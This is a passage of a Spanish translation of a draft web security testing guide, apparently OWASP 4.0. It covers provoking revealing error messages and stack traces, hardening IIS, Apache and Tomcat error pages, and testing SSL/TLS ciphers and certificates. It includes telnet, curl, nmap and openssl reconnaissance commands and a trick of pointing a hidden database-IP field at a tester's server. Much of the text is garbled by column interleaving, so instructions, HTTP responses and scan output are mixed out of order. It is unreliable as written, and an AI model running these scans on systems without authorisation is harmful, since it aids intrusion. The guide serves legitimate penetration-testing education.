Microsoft OLE DB Provider for ODBC Drivers (0x80004005) Los errores de servidor web no son la única respuesta útil que requieren análisis de seguridad. Considere el siguiente mensaje de error de ejemplo:
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host
Microsoft OLE DB Provider for ODBC Drivers (0x80004005) [DBNETLIB][ConnectionOpen(Connect())] - SQL server does not exist or access denied
Si vemos en el código HTML de la página de inicio de sesión la presencia de un campo oculto con una IP de una base de datos, podemos intentar cambiar este valor en la URL con la dirección de un servidor de base de datos bajo el control de evaluadores de penetración, en un intento de engañar a la aplicación para que piense que la conexión fue exitosa.
¿Qué pasó? A continuación vamos a explicarlo paso a paso.
En este ejemplo, el 80004005 es un código de error IIS genérico que indica que no pudo establecer una conexión con su base de datos asociada. En muchos casos, el mensaje de error detalla el tipo de base de datos. A menudo esto le indicará el sistema operativo subyacente por asociación. Con esta información, el evaluador de penetración puede planear una estrategia adecuada para la prueba de seguridad.
Mediante la manipulación de las variables que se pasan a la cadena de conección de la base de datos, podemos invocar errores más detallados.
Otro ejemplo: sabiendo cuál es el servidor de base de datos que sirve a una aplicación web, podemos aprovechar esta información para llevar a cabo una inyección de SQL para ese tipo de base de datos o una prueba XSS persistente.
Cómo probar A continuación vemos algunos ejemplos de pruebas de los mensajes de error detallados, devueltos al usuario. Cada uno de los siguientes ejemplos tiene información específica sobre el sistema operativo, versión de la aplicación, etc.
Microsoft OLE DB Provider for ODBC Drivers error ‘80004005’ [Microsoft][ODBC Access 97 ODBC driver Driver]General error Unable to open registry key ‘DriverId’
Prueba: 404 Not Found telnet <host target> 80
En este ejemplo, podemos ver un error genérico en la misma situación que revela el tipo y versión del sistema de base de datos asociada y una dependencia de valores claves del registro del sistema operativo de Windows.
Ahora veremos un ejemplo práctico con una prueba de seguridad contra una aplicación web que pierde su enlace a su servidor de base de datos y
GET /<wrong page> HTTP/1.1 host: <host target> <CRLF><CRLF>
Resultado:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 242
Guia de pruebas 4.0 "Borrador"
HTTP/1.1 404 Not Found Date: Sat, 04 Nov 2006 15:26:48 GMT
Prueba: 400 Bad Request
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g
telnet <host target> 80
Content-Length: 310
GET / HTTP/1.1
Connection: close
<CRLF><CRLF>
Content-Type: text/html; charset=iso-8859-1 ...
Resultado:
<title>404 Not Found</title>
HTTP/1.1 400 Bad Request
...
Date: Fri, 06 Dec 2013 23:57:53 GMT
<address>Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g at <host target> Port 80</address>
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch Vary: Accept-Encoding Content-Length: 301
Prueba: Connection: close Problemas de red que llevan a que la aplicación no pueda acceder al servidor de bases de datos
Content-Type: text/html; charset=iso-8859-1 ...
Resultado:
<title>400 Bad Request</title>
Microsoft OLE DB Provider for ODBC Drivers (0x80004005) ‘
...
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at 127.0.1.1 Port 80</address> ...
Prueba: Error de autenticación debido a credenciales faltantes Prueba: 405 Method Not Allowed telnet <host target> 80 Resultado: PUT /index.html HTTP/1.1 Versión de Firewall usada para autenticación: Host: <host target> Error 407 <CRLF><CRLF> FW-1 at <firewall>: Unauthorized to access the document. • Authorization is needed for FW-1. Resultado: • The authentication required by FW-1 is: unknown. HTTP/1.1 405 Method Not Allowed • Reason for failure of last attempt: no user Date: Fri, 07 Dec 2013 00:48:57 GMT
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 243
Guia de pruebas 4.0 "Borrador"
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at <host target> Port 80</address>
Allow: GET, HEAD, POST, OPTIONS ... Vary: Accept-Encoding Content-Length: 315 Prueba: 501 Method Not Implemented Connection: close telnet <host target> 80 Content-Type: text/html; charset=iso-8859-1 RENAME /index.html HTTP/1.1 ... Host: <host target> <title>405 Method Not Allowed</title> <CRLF><CRLF> ... <address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at <host target> Port 80</address>
Resultado:
...
HTTP/1.1 501 Method Not Implemented Date: Fri, 08 Dec 2013 09:59:32 GMT
Prueba: 408 Request Time-out
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
telnet <host target> 80
Allow: GET, HEAD, POST, OPTIONS
GET / HTTP/1.1
Vary: Accept-Encoding
-Wait X seconds – (Depending on the target server, 21 seconds for Apache by default)
Content-Length: 299 Connection: close Content-Type: text/html; charset=iso-8859-1
Resultado: ... HTTP/1.1 408 Request Time-out <title>501 Method Not Implemented</title> Date: Fri, 07 Dec 2013 00:58:33 GMT ... Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch Vary: Accept-Encoding
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at <host target> Port 80</address>
Content-Length: 298
...
Connection: close Content-Type: text/html; charset=iso-8859-1
Prueba: 403 Forbidden:
...
Enumeración de directorios usando mensajes de error de acceso denegado:<br>
<title>408 Request Time-out</title> ...
http://<host>/<dir>
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 244
Guia de pruebas 4.0 "Borrador"
Hay varias maneras por las cuales se pueden manejar errores en framework dot.net. Los errores se manejan en tres lugares en ASP. net: Resultado: • Dentro de la sección Web.config customErrors Directory Listing Denied • Dentro de global.asax Application_Error Sub This Virtual Directory does not allow contents to be listed. • En la aspx o página codebehind asociada en Page_Error sub
Herramientas • ErrorMint : sourceforge.net • ZAP Proxy: owasp.org
<customErrors mode=”On|Off|RemoteOnly”>
defaultRedirect=”myerrorpagedefault.aspx”
<error statusCode=”404” redirect=”myerrorpagefor404.aspx”/> <error statusCode=”500” redirect=”myerrorpagefor500.aspx”/>
Referencias
</customErrors>
• [RFC2616] ietf.org • [ErrorDocument] httpd.apache.org • [AllowOverride] httpd.apache.org • [ServerTokens] httpd.apache.org • [ServerSignature] httpd.apache.org
Remediación Manejo de errores en IIS y ASP .net ASP.net es un framework común de Microsoft utilizado para desarrollar aplicaciones web. IIS es uno de los servidores web más utilizados. Los errores se producen en todas las aplicaciones, los desarrolladores intentan atrapar la mayoría de errores, pero es casi imposible cubrir cada excepción (sin embargo, es posible configurar el servidor web para suprimir que sean devueltos los mensajes de error detallado al usuario).
IIS utiliza un conjunto de páginas de error personalizadas que generalmente se encuentra en c:\winnt\help\iishelp\common para mostrar los errores como "404 page not found " al usuario.
Manejo de errores usando web.config mode=”On” encenderá los errores personalizados. mode=RemoteOnly mostrará errores personalizados a los usuarios de la aplicación web remota. Un usuario que accede al servidor local se presentará con la pila de datos completa y los errores personalizados no se le mostrarán.
Todos los errores, salvo los expresamente señalados, causarán una redirección al recurso especificado por defaultRedirect, es decir, myerrorpagedefault.aspx. Un código de estado 404 se manejará por myerrorpagefor404.aspx.
Manejo de errores en Global.asax Cuando se produce un error, se contacta al sub Application_Error. Un desarrollador puede escribir código para el redireccionamiento del manejo de las páginas de error en esta sub. Private Sub Application_Error (ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Error End Sub
Estas páginas por defecto se pueden cambiar y los errores personalizados pueden configurarse para el servidor IIS. Cuando IIS recibe una solicitud de una página aspx, la solicitud pasa al framework dot.net.
Manejo de errores en Page_Error sub Esto es similar al error de aplicación. Private Sub Page_Error (ByVal sender As Object, ByVal e As System.EventArgs)
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 245
Guia de pruebas 4.0 "Borrador"
Handles MyBase.Error End Sub
The resource cannot be found. Description: HTTP 404. The resource you are looking for (or one of its dependencies) could have been removed, had its name
Jerarquía de errores en ASP .net El sub Page_Error será procesado en primer lugar, seguido por global.asax Application_Error sub, y, finalmente, la sección de customErrors en web.config file.
los errores personalizados de .net no están configurados.
Manejo de errores en Apache La recolección de información en aplicaciones web con tecnología del lado del servidor es bastante difícil, pero la información descubierta puede ser útil para la correcta ejecución de un intento de explotación (por ejemplo, inyección SQL o ataques de Cross Site Scripting (XSS)) y puede reducir falsos positivos.
Apache es un servidor HTTP común para atender páginas HTML y PHP. Por defecto, Apache muestra la versión del servidor, los productos instalados y el sistema operativo instalado dentro de las respuestas de error en HTTP. Las respuestas a los errores pueden configurarse y personalizarse a nivel global, por sitio o por directorio en el apache2.conf usando la Directiva ErrorDocument [2]
Cómo probar el manejo de errores deASP.net y IIS ErrorDocument 404 “Customized Not Found error message” Encienda su navegador y escriba un nombre aleatorio de página ErrorDocument 403 /myerrorpagefor403.html http:\\www.mywebserver.com\anyrandomname.asp ErrorDocument 501 http://www.externaldomain.com/errorpagefor501.html
Si el servidor devuelve The page cannot be found
Los administradores del sitio pueden gestionar sus propios errores con el archivo .htaccess si la directiva global AllowOverride está configurada correctamente en apache2.conf [3]
Internet Information Services
Significa que los errores personalizados de IIS no están configurados. Por favor observe la extensión .asp.
También pruebe los errores personalizados de .net. Escriba un nombre aleatorio de página con una extensión aspx en su navegador http:\\www.mywebserver.com\anyrandomname.aspx
La información mostrada por Apache en los errores HTTP también puede configurarse mediante las directivas ServerTokens [4] y ServerSignature [5] en el archivo de configuración apache2.conf. "ServerSignature Off" (cargado por defecto) elimina la información del servidor de las respuestas de error, mientras que ServerTokens [ProductOnly| Major| Minor| Minimal|OS|Full] (Full por defecto) define qué información debe constar en las páginas de error.
Manejo de errores en Tomcat Tomcat es un servidor HTTP para alojar aplicaciones JSP y Java Servlet. Por defecto Tomcat muestra la versión del servidor en las respuestas de error HTTP.
Si el servidor devuelve Server Error in ‘/’ Application.
La personalización de las respuestas de error se puede configurar en el documento de configuración web.xml.
-------------------------------------------------------------------------------<error-page>
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 246
Guia de pruebas 4.0 "Borrador"
<error-code>404</error-code> <location>/myerrorpagefor404.html</location>
Todas las pruebas anteriores podrían llevar a errores de aplicación que pueden contener restos de pila de datos. Se recomienda utilizar un comprobador aleatorio adicional a cualquier prueba manual.
</error-page>
Pruebas para determinar los rastros de pilas de datos(OTG-ERR-002)
Algunas herramientas, como OWASP ZAP y Burp proxy, detectarán estas excepciones en la secuencia de respuesta como mientras están haciendo otros trabajos de pruebas y penetración.
Resumen Los rastros de pilas de datos no son vulnerabilidades por sí mismas, pero a menudo revelan información que es interesante para un atacante. Los atacantes intentan generar estos rastros de pila de datos mediante la alteración del ingreso a la aplicación web con peticiones HTTP con formato incorrecto y otros datos de ingreso.
Pruebas de Caja Gris Buscar el código para las comunicaciones que causan una excepción representada en una cadena o secuencia de salida. Por ejemplo, en Java podría ser código en JSP que se ve asi: <% e.printStackTrace( new PrintWriter( out ) ) %>
Si la aplicación responde con rastros de pilas de datos que no se manejan, podría revelar información útil a los atacantes. Esta información podría utilizarse en otros ataques. Proporcionar información de depuración como resultado de las operaciones que generan errores se considera una mala práctica por varias razones. Por ejemplo, puede contener información sobre el funcionamiento interno de la aplicación como rutas relativas del punto donde está instalada la aplicación o como se referencian los objetos internamente.
Cómo probar
En algunos casos, el rastro de la pila de datos será un formato en HTML específicamente, así que asegúrese de buscar elementos de rastros de pila de datos.
Busque la configuración para comprobar el manejo de errores y el uso de páginas de error por defecto. Por ejemplo, en Java, esta configuración puede encontrarse en web.xml.
Pruebas de Caja Negra Hay una variedad de técnicas que pueden provocar que mensajes de excepción se envíen en una respuesta HTTP. Tenga en cuenta que en la mayoría de los casos se trata de una página HTML, pero las excepciones se pueden enviar como parte de las respuestas SOAP o REST también.
Herramientas • ZAP Proxy - https://www.owasp.org/index.php/OWASP_Zed_ Attack_Proxy_Project
Algunas pruebas que se deben incluir son: Referencias • Entrada no válida (como la entrada que no es coherente con la lógica de la aplicación).
• [RFC2616] Hypertext Transfer Protocol - http://www.ietf.org/rfc/rfc2616.txt
• Las entradas que contienen caracteres no alfanuméricos o consultas de sintaxis. • Entradas vacías.
Pruebas de codificadores SSL/TLS débiles, protección de transporte de capas insuficiente (OTG-CRYPST-001)
• Entradas que son muy largas.
Resumen
• Acceso a páginas internas sin autenticación.
Los datos sensibles deben ser protegidos cuando se transmiten a través de la red. Dichos datos pueden incluir credenciales y tarjetas de crédito del usuario. Como regla general, si los datos se deben proteger cuando se almacenan, se deben proteger también durante la transmisión.
• Esquivar el flujo de la aplicación.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 247
Guia de pruebas 4.0 "Borrador"
HTTP es un protocolo de texto y normalmente se asegura mediante un túnel SSL/TLS, dando como resultado tráfico en HTTPS [1]. El uso de este protocolo asegura no sólo confidencialidad, sino también la autenticación. Los servidores se autentican mediante certificados digitales y también es posible utilizar el certificado de cliente para una autenticación mutua. Aunque los cifrados de alto nivel se apoyan hoy en día y son utilizados normalmente, algún error de configuración en el servidor puede utilizarse para forzar el uso de un cifrado débil - o, en el peor caso, ningún cifrado permitiendo a un atacante acceder al canal de comunicación supuestamente seguro. Otras configuraciones erróneas pueden usarse para un ataque de negación de servicio.
La aplicación no debe transmitir información sensible a través de canales sin codificar. Normalmente es posible encontrar la autenticación básica en HTTP, contraseña de ingreso o la cookie de sesión enviada a través de HTTP y, en general, otra información considerada sensible por las regulaciones, leyes o políticas organizacionales.
SSL/TLS Ciphers/Protocols/Keys débiles Históricamente, ha habido limitaciones determinadas por el gobierno de Estados Unidos, que permiten la exportación del cifrado sólo de un tamaño de hasta 40 bits, una longitud de clave que podría ser rota y permitiría el descifrado de comunicaciones. Desde entonces, las regulaciones de exportación criptográfica se han allanado a un tamaño de clave máximo de 128 bits.
Asuntos comúnes Se produce una vulnerabilidad si se utiliza el protocolo HTTP para transmitir información sensible [2] (e.g. credenciales transmitidas en HTTP [3]).
La presencia de un servicio SSL/TLS es buena, pero aumenta la superficie de ataque y pueden existir las siguientes vulnerabilidades:
• Los protocolos SSL/TLS, cifrados, claves y renegociación, deben estar correctamente configurados.
Es importante comprobar que la configuración de SSL ha sido usada para evitar la puesta en marcha del soporte criptográfico que podría ser fácilmente derrotado. Para alcanzar este objetivo, los servicios basados en SSL no deberían ofrecer la posibilidad de escoger una suite de cifrado débil. Una suite de cifrado se especifica mediante un protocolo de cifrado (por ejemplo, DES, RC4, AES), la longitud de cifrado de clave (por ejemplo, 40, 56 o 128 bits) y un algoritmo de hash (SHA, MD5) utilizado para verificar la integridad.
Brevemente, los puntos clave para la determinación de la suite de cifrado son las siguientes:
• La validez del certificado debe estar garantizada.
Otras vulnerabilidades vinculadas a esto son:
[1] El cliente envía al servidor un mensaje ClientHello, especificando, entre otros datos, el protocolo y las suites de cifrado que puede manejar. Tome en cuenta que un cliente es generalmente un navegador web (actualmente, el más popular es un cliente SSL), pero no necesariamente, ya que puede ser cualquier aplicación habilitada para SSL; lo mismo se aplica para el servidor, que puede no ser un servidor web, aunque este es el caso más común [9].
• Debe actualizarse el software expuesto debido a la posibilidad de vulnerabilidades conocidas [4]. • Use banderas de seguridad para las Cookies de sesión [5]. • El uso de Seguridad estricta de transporte HTTP (HSTS) [6].
[2] El servidor responde con un mensaje de ServerHello, que contiene la suite de protocolo y algoritmo de cifrado elegidos que serán utilizados para esta sesión (generalmente el servidor selecciona la suite de protocolo y algoritmo de cifrado más fuerte que soporta tanto el cliente como el servidor).
• La presencia tanto de HTTP como HTTPS, lo cual se puede utilizar también para interceptar tráfico [7], [8]. • La presencia de contenido mezclado de HTTPS y HTTP en la misma página, lo cual puede usarse para filtrar información.
Es posible (por ejemplo, por medio de las directivas de configuración) especificar qué suites de cifrado el servidor obedecerá. De esta manera, usted puede controlar si las conversaciones con los clientes aceptarán solamente un cifrado de 40 bits.
Datos sensibles transmitidos en texto transparente [1] El servidor envía su mensaje de certificado y, si requiere autenticación del cliente, también envía un mensaje de CertificateRequest al cliente.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 248
Guia de pruebas 4.0 "Borrador"
[2] El servidor envía un mensaje ServerHelloDone y espera una respuesta del cliente.
[3] Al recibir el mensaje de ServerHelloDone, el cliente verifica la validez del certificado digital del servidor.
Validez del certificado SSL – cliente y servidor Al acceder a una aplicación web mediante el protocolo HTTPS, se establece un canal seguro entre el cliente y el servidor. Luego se establece la identidad de uno (el servidor) o de ambas partes (cliente y servidor) por medio de certificados digitales. Así, una vez determinada la suite de cifrado, el "SSL Handshake" continúa con el intercambio de los certificados:
[1] El servidor envía su mensaje de certificado y, si se requiere autenticación de cliente, también envía al cliente un mensaje de CertificateRequest.
[2] El servidor envía un mensaje ServerHelloDone y espera una respuesta del cliente.
[3] Al recibir el mensaje de ServerHelloDone, el cliente verifica la validez del certificado digital del servidor.
Para que la comunicación se establezca, se debe pasar una serie de controles sobre los certificados. Aunque hablar de la autenticación basada en SSL y certificados está más allá del alcance de esta guía, esta sección se centrará en los principales criterios involucrados en determinar la validez del certificado:
• Cada navegador viene con una lista previamente cargada de CA de confianza, contra la cual se compara el certificado de firma de CA (esta lista se puede personalizar y ampliar a voluntad). Durante las negociaciones iniciales con un servidor HTTPS, si el certificado del servidor se refiere a una entidad desconocida para el navegador, se genera una advertencia. Esto sucede más a menudo debido a que una aplicación web se basa en un certificado firmado por una CA autoestablecida. Si debe considerarse esto como un problema, depende de varios factores. Por ejemplo, esto puede estar bien para un entorno de Intranet (piense en correo web corporativo que se proporciona vía HTTPS; aquí, obviamente, todos los usuarios reconocen la CA interna como una CA de confianza). Sin embargo, cuando se proporciona un servicio vía Internet al público en general, (es decir, cuando es importante verificar positivamente la identidad del servidor con el cual nos comunicamos), generalmente es imprescindible contar con una CA de confianza, que es reconocida por toda la base de usuarios (y aquí paramos nuestras observaciones; no ahondamos más en lo que implica el modelo de confianza utilizado para certificados digitales).
• Los certificados tienen un período de validez asociado, por lo tanto, pueden expirar. Una vez más, se nos advierte mediante el explorador sobre esto. Un servicio público necesita un certificado temporal válido; de lo contrario, significa que estamos hablando con un servidor cuyo certificado fue emitido por alguien de confianza, pero caducó y no ha sido renovado.
• ¿Qué pasa si el nombre en el certificado y el nombre del servidor no coinciden? Si esto sucede, puede sonar sospechoso. Por varias razones, esto no es tan raro de ver. Un sistema puede albergar un número de hosts virtuales basados en el nombre, que comparten la misma dirección IP y se identifican mediante el HTTP 1.1 Host: header information. En este caso, puesto que el protocolo de enlace SSL comprueba el certificado del servidor antes de que se procese la petición HTTP, no es posible asignar certificados diferentes a cada servidor virtual. Por lo tanto, si el nombre del sitio y el nombre registrado en el certificado no coinciden, tenemos una condición que típicamente se señala por parte del navegador. Para evitar esto, deben utilizarse servidores virtuales basados en IP. [33] y [34] describen técnicas para lidiar con este problema y permitir que los hosts virtuales basados en el nombre estén correctamente referenciados.
Otras vulnerabilidades • Compruebe si la autoridad de certificación (CA) es conocida (es decir, una que se considera de confianza); • Compruebe que el certificado es válido; • Compruebe que el nombre del sitio y el nombre registrado en el certificado concuerden.
Vamos a examinar cada comprobación más detalladamente.
La presencia de un nuevo servicio, que escucha en un puerto tcp separado, puede generar vulnerabilidades tales como las de infraestructura si el software no está actualizado [4]. Además, para la correcta protección de datos durante la transmisión, la Cookie de sesión debe usar la bandera de seguridad [5] y algunas directivas deben enviarse al navegador para aceptar sólo tráfico seguro (HSTS [6], CSP).
También hay algunos ataques que pueden utilizarse para interceptar el tráfico si el servidor web expone la solicitud HTTP y HTTPS [6], [7] o en el caso de recursos HTTP y HTTPS mezclados en la misma página.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 249
Guia de pruebas 4.0 "Borrador"
Cómo probar
Al momento de escribir este documento, estos criterios son ampliamente reconocidos como una lista de verificación mínima:
Prueba de transmisión de datos sensibles en texto claro Diversos tipos de información que deben ser protegidos pueden transmitirse también en texto claro. Es posible verificar si esta información se transmite a través de HTTP en lugar de HTTPS. Por favor, consulte las pruebas específicas para ver detalles completos, de credenciales [3] y otro tipo de datos [2].
• No deben utilizarse cifrados débiles (por ejemplo, menos de 128 bits [10]; sin suites de cifrado NULL, debido a que no utilizan encriptado; sin Anonymous Diffie-Hellmann, debido a que no provee autenticación). • Los protocolos débiles deben desactivarse (por ejemplo: SSLv2 debe desactivarse debido a las debilidades conocidas en el diseño del protocolo [11]).
Ejemplo 1. Autenticación básica en HTTP Un ejemplo típico es el uso de autenticación básica en HTTP porque con la autenticación básica, después de iniciar sesión, las credenciales son codificadas - y no cifradas - en las cabeceras HTTP. $ curl -kis http://example.com/restricted/ HTTP/1.1 401 Authorization Required
• La renegociación debe estar configurada correctamente (por ejemplo: Insecure Renegotiation debe desactivarse, debido a ataques MiTM [12] y las renegociaciones iniciadas por el cliente deben desactivarse, debido a la vulnerabilidad de Negación de Servicio [13]). • No deben haber suites de nivel de cifrado Export (EXP), debido a que puede ser fácilmente roto [10]. • La longuitud de claves de los certificados X.509 deben ser fuertes (por ejemplo si se utiliza RSA o DSA la clave debe ser de al menos 2048 bits).
Date: Fri, 01 Aug 2013 00:00:00 GMT WWW-Authenticate: Basic realm=”Restricted Area”
• Los certificados X.509 deben firmarse únicamente con algoritmos de hashing seguros (por ejemplo. sin firma al usar MD5 hash, debido a a ataques de colisión en este hash).
Accept-Ranges: bytes Vary: Accept-Encoding
• Las claves deben generarse con la correcta entropía (e.g, Claves débiles generadas con Debian) [14].
Content-Length: 162 Content-Type: text/html
Un lista de control más completo incluye:
<html><head><title>401 Authorization Required</title></head>
• La renegociación segura debe estar habilitada.
<body bgcolor=white>
• MD5 no debe usarse, debido a los ataques de colisión conocidos. [35]
<h1>401 Authorization Required</h1>
• RC4 no debe usarse, debido a los ataques cripto-analíticos [15]. • El servidor debe estar protegido de ataques BEAST [16].
Invalid login credentials!
• El servidor debe estar protegido de ataques CRIME, la compresión TLS debe estar deshabilitada [17]. • El servidor debe soportar Forward Secrecy [18].
</body></html>
Las siguientes normas pueden ser utilizadas como referencia mientras se evalúan los servidores SSL:
Prueba de vulnerabilidades de SSL/TLS Ciphers/Protocolos/Claves La gran cantidad de suites de cifrado disponible y el rápido progreso en criptoanálisis hacen de las pruebas del servidor SSL una tarea nada trivial.
• PCI-DSS v2.0 en el punto 4.1 requiere que las partes compatibles utilicen «criptografía fuerte» sin definir precisamente los algoritmos y longitudes de las claves. La interpretación común, basada parcialmente en las versiones anteriores de
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 250
Guia de pruebas 4.0 "Borrador"
la norma, es que el cifrado de la clave sea de al menos 128 bits, sin algoritmos de exportación fuertes y sin usar SSLv2 [19]. • Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] y SSL Threat Model [20] han sido propuestos para estandarizar la configuración y evaluación de servidor SSL. Pero está menos actualizada que SSL Server tool [21].
22/tcp open ssh 25/tcp open smtp
syn-ack Exim smtpd 4.80
26/tcp open smtp
syn-ack Exim smtpd 4.80
80/tcp open http • OWASP tiene un gran cantidad de recursos para SSL/TLS Security [22], [23], [24], [25]. [26]. Algunas herramientas y escáneres tanto libres (por ejemplo SSLAudit [28] o SSLScan [29]) como comerciales (por ejemplo Tenable Nessus [27]), pueden utilizarse para evaluar las vulnerabilidades SSL/TLS. Pero debido a la evolución de estas vulnerabilidades, una buena manera de probar es comprobar manualmente con openssl [30] o utilice las herramientas de salida como ingreso para la evaluación manual usando las referencias.
syn-ack OpenSSH 5.3 (protocol 2.0)
syn-ack
110/tcp open pop3
syn-ack Dovecot pop3d
143/tcp open imap
syn-ack Dovecot imapd
443/tcp open ssl/http syn-ack Apache 465/tcp open ssl/smtp syn-ack Exim smtpd 4.80 993/tcp open ssl/imap syn-ack Dovecot imapd 995/tcp open ssl/pop3 syn-ack Dovecot pop3d
A veces, el servicio SSL/TLS habilitado no es directamente accesible y el evaluador puede acceder a él a través de un proxy HTTP utilizando el método CONNECT [36]. La mayoría de las herramientas intentarán conectarse al puerto tcp deseado para iniciar el protocolo de enlace SSL/TLS. Esto no funcionará ya que el puerto deseado es accesible sólo a través de proxy HTTP. El evaluador fácilmente puede evitar esto usando software de reemplazo como socat [37].
Service Info: Hosts: example.com Service detection performed. http://nmap.org/submit/ .
Please
report
any
incorrect
results
at
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds
Ejemplo 2. reconocimiento de servicio SSL mediante nmap El primer paso es identificar los puertos que tienen atados servicios SSL/TLS. Los puertos tcp con SSL para los servicios web y correo son normalmente - pero no limitados a - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).
En este ejemplo buscamos servicios SSL usando nmap con la opción "-sV", que se utiliza para identificar servicios y también es capaz de identificar los servicios SSL [31]. Otras opciones, para este ejemplo en particular, deben ser personalizadas. A menudo, en una prueba de penetración de aplicaciones web, el alcance se limita al puerto 80 y 443.
Ejemplo 3. Comprobando la información del certificado, cifrados débiles y SSLv2 vía nmap Nmap tiene dos secuencias de comandos para comprobar la información del certificado, Weak Ciphers and SSLv2 [31]. $ nmap --script www.example.com
ssl-cert,ssl-enum-ciphers
443,465,993,995
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST Nmap scan report for www.example.com (127.0.0.1)
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com
Host is up (0.090s latency).
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST
rDNS record for 127.0.0.1: www.example.com
Nmap scan report for www.example.com (127.0.0.1)
PORT
Host is up, received user-set (0.20s latency).
443/tcp open https
Not shown: 89 filtered ports
| ssl-cert: Subject: commonName=www.example.org
Reason: 89 no-responses
| Issuer: commonName=*******
PORT STATE SERVICE REASON VERSION
| Public Key type: rsa
21/tcp open ftp
| Public Key bits: 1024
syn-ack Pure-FTPd
-p
STATE SERVICE
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 251
Guia de pruebas 4.0 "Borrador"
| Not valid before: 2010-01-23T00:00:00+00:00
| ssl-enum-ciphers:
| Not valid after: 2020-02-28T23:59:59+00:00
| SSLv3:
| MD5: *******
|
|_SHA-1: *******
|
TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| ssl-enum-ciphers:
|
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| SSLv3:
|
TLS_RSA_WITH_RC4_128_SHA - strong
|
|
ciphers:
ciphers:
compressors:
|
TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|
|
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLSv1.0:
|
TLS_RSA_WITH_RC4_128_SHA - strong
|
|
ciphers:
|
TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
NULL
|
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLSv1.0:
|
TLS_RSA_WITH_RC4_128_SHA - strong
|
|
|
compressors:
NULL
ciphers:
compressors:
|
TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|
|
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|_ least strength: strong
|
TLS_RSA_WITH_RC4_128_SHA - strong
993/tcp open imaps
| |
compressors: NULL
NULL
| ssl-cert: Subject: commonName=*.exapmple.com | Issuer: commonName=*******
|_ least strength: strong
| Public Key type: rsa
465/tcp open smtps
| Public Key bits: 2048
| ssl-cert: Subject: commonName=*.exapmple.com
| Not valid before: 2010-01-23T00:00:00+00:00
| Issuer: commonName=*******
| Not valid after: 2020-02-28T23:59:59+00:00
| Public Key type: rsa
| MD5: *******
| Public Key bits: 2048
|_SHA-1: *******
| Not valid before: 2010-01-23T00:00:00+00:00
| ssl-enum-ciphers:
| Not valid after: 2020-02-28T23:59:59+00:00
| SSLv3:
| MD5: *******
|
|_SHA-1: *******
|
ciphers: TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
Documento Pre-release cortesÃa de Fernando Vela para drangonjar.org 252
Guia de pruebas 4.0 "Borrador"
|
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLSv1.0:
|
TLS_RSA_WITH_RC4_128_SHA - strong
|
|
|
TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
NULL
|
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLSv1.0:
|
TLS_RSA_WITH_RC4_128_SHA - strong
|
|
|
compressors:
ciphers:
ciphers:
compressors:
|
TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|
|
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|_ least strength: strong
|
TLS_RSA_WITH_RC4_128_SHA - strong
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds
| |
NULL
compressors: NULL
Ejemplo 4 Compruebe la renegociación iniciada por el cliente y la renegociación de seguridad mediante openssl (manualmente)
|_ least strength: strong
| Public Key type: rsa
Openssl [30] puede ser utilizado para pruebas manuales de SSL/TLS. En este ejemplo, el evaluador intenta iniciar una renegociación por parte del cliente [m] conectándose al servidor con openssl. El evaluador escribe entonces la primera línea de una solicitud HTTP y escribe "R" en una nueva línea. Espera una renegociación y cierre de la solicitud HTTP y comprueba si la renegociación segura es compatible mirando el resultado del servidor. Usando peticiones manuales también es posible ver si está habilitada la compresión de TLS y comprobar el CRIME [13], cifrado y otras vulnerabilidades.
| Public Key bits: 2048
$ openssl s_client -connect www2.example.com:443
| Not valid before: 2010-01-23T00:00:00+00:00
CONNECTED(00000003)
| Not valid after: 2020-02-28T23:59:59+00:00
depth=2 ******
| MD5: *******
verify error:num=20:unable to get local issuer certificate
|_SHA-1: *******
verify return:0
| ssl-enum-ciphers:
---
| SSLv3:
Certificate chain
|
0 s:******
